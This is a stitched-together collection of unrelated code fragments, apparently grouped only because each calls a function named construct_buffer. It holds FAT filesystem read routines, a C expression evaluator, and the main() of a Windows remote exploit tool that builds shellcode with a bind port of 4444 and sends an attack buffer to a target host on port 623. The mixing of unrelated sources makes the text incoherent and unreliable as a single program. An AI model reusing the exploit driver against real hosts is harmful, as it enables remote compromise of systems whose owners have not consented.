Buffer FAT::read(const Dirent& ent, uint64_t pos, uint64_t n) const { // bounds check the read position and length auto stapos = std::min(ent.size(), pos); auto endpos = std::min(ent.size(), pos + n); // new length n = endpos - stapos; // cluster -> sector + position auto sector = stapos / this->sector_size; auto nsect = roundup(endpos, sector_size) / sector_size - sector; // read @nsect sectors ahead buffer_t data = device.read_sync(this->cl_to_sector(ent.block()) + sector, nsect); // where to start copying from the device result auto internal_ofs = stapos % device.block_size(); // when the offset is non-zero we aren't on a sector boundary if (internal_ofs != 0) { data = construct_buffer(data->begin() + internal_ofs, data->begin() + internal_ofs + n); } else { // when not offset all we have to do is resize the buffer down from // a sector size multiple to its given length data->resize(n); } return Buffer(no_error, std::move(data)); }
void FAT::read(const Dirent& ent, uint64_t pos, uint64_t n, on_read_func callback) const { // when n=0 roundup() will return an invalid value if (n == 0) { callback({ error_t::E_IO, "Zero read length" }, nullptr); return; } // bounds check the read position and length uint32_t stapos = std::min(ent.size(), pos); uint32_t endpos = std::min(ent.size(), pos + n); // new length n = endpos - stapos; // calculate start and length in sectors uint32_t sector = stapos / this->sector_size; uint32_t nsect = roundup(endpos, sector_size) / sector_size - sector; uint32_t internal_ofs = stapos % device.block_size(); // cluster -> sector + position device.read( this->cl_to_sector(ent.block()) + sector, nsect, hw::Block_device::on_read_func::make_packed( [n, callback, internal_ofs] (buffer_t data) { if (!data) { // general I/O error occurred callback({ error_t::E_IO, "Unable to read file" }, nullptr); return; } // when the offset is non-zero we aren't on a sector boundary if (internal_ofs != 0) { // so, we need to create new buffer with offset data data = construct_buffer(data->begin() + internal_ofs, data->begin() + internal_ofs + n); } else { // when not offset all we have to do is resize the buffer down from // a sector size multiple to its given length data->resize(n); } callback(no_error, data); }) ); }
float eval(struct buffer_stack * buffer){ val flo_container[stack_size] = {0}; struct buffer_stack flo_con; struct buffer_stack * flo; flo = & flo_con; init(flo_container,flo); construct_buffer(buffer,flo); val container_oper[stack_size] = {0}; val container_numb[stack_size] = {0} ; struct buffer_stack con_oper; struct buffer_stack con_numb; struct buffer_stack * oper; struct buffer_stack * numb; oper = & con_oper; numb = & con_numb; init(container_oper,oper); init(container_numb,numb); push('@',oper); push(0,numb); val inspector; int code; val exp1; val para; val exp2; float temp_result; do{ //temp_debug(buffer); //stage 1 if(head_loc(flo) != 0){ pop(&inspector,flo); code = encoder(inspector); if(code == NUM) { push(inspector,numb); } else if( code > encoder(peek(oper)) ) { push(inspector,oper); } else if( code <= encoder(peek(oper)) ){ //exp1 para exp2 pop(&exp2,numb); pop(¶,oper); pop(&exp1,numb); temp_result = two_eval(exp1,para,exp2); push(temp_result,numb); push(inspector,flo); } } //stag two else if(peek(oper) != '@'){ pop(&exp2,numb); pop(¶,oper); pop(&exp1,numb); temp_result = two_eval(exp1,para,exp2); push(temp_result,numb); } }while( peek(oper) != '@' || head_loc(flo) != 0 ); pop(&temp_result,numb); return temp_result; }
int main(int argc, char **argv) { char c,*remotehost=NULL,*file=NULL,*reverseip=NULL,*url=NULL,temp1[100]; int sh,port=623,itarget=0; struct _buf fshellcode, sbuffer; logo(); if(argc<2) { usage(argv[0]); return -1; } WSADATA wsa; WSAStartup(MAKEWORD(2,0), &wsa); // set defaults sh=0; // ------------ while((c = getopt(argc, argv, "h:t:R:T:"))!= EOF) { switch (c) { case 'h': if (strchr(optarg,':')==NULL) { remotehost=optarg; }else { sscanf(strchr(optarg,':')+1, "%d", &port); remotehost=optarg; *(strchr(remotehost,':'))='\0'; } break; case 't': sscanf(optarg, "%d", &itarget); itarget--; break; case 'T': sscanf(optarg, "%ld", &dwTimeout); break; default: usage(argv[0]); WSACleanup(); return -1; } } if(remotehost == NULL) { printf(" [-] Please enter remotehost\n"); end_logo(); WSACleanup(); return -1; } print_info_banner_line("Host", remotehost); sprintf(temp1, "%d", port); print_info_banner_line("Port", temp1); print_info_banner_line("Payload", shellcodes[sh].name); if(sh==0) { sprintf(temp1, "%d", 4444); print_info_banner_line("BINDPort", temp1); } printf(" # ------------------------------------------------------------------- # \n"); fflush(stdout); memset(payloadbuffer, 0, sizeof(payloadbuffer)); fshellcode.ptr=payloadbuffer; fshellcode.size=0; memset(a_buffer, 0, sizeof(a_buffer)); sbuffer.ptr=a_buffer; sbuffer.size=0; if(!construct_shellcode(sh, &fshellcode, itarget)) { end_logo(); WSACleanup(); return -1; } printf(" [+] Payload constructed\n"); if(!construct_buffer(&fshellcode, itarget, &sbuffer)) { printf(" [-] Buffer not constructed\n"); end_logo(); WSACleanup(); return -1; } printf(" [+] Final buffer constructed\n"); if(!execute(&sbuffer, remotehost, port)) { printf(" [-] Buffer not sent\n"); end_logo(); WSACleanup(); return -1; } printf(" [+] Buffer sent\n"); end_logo(); WSACleanup(); return 0; }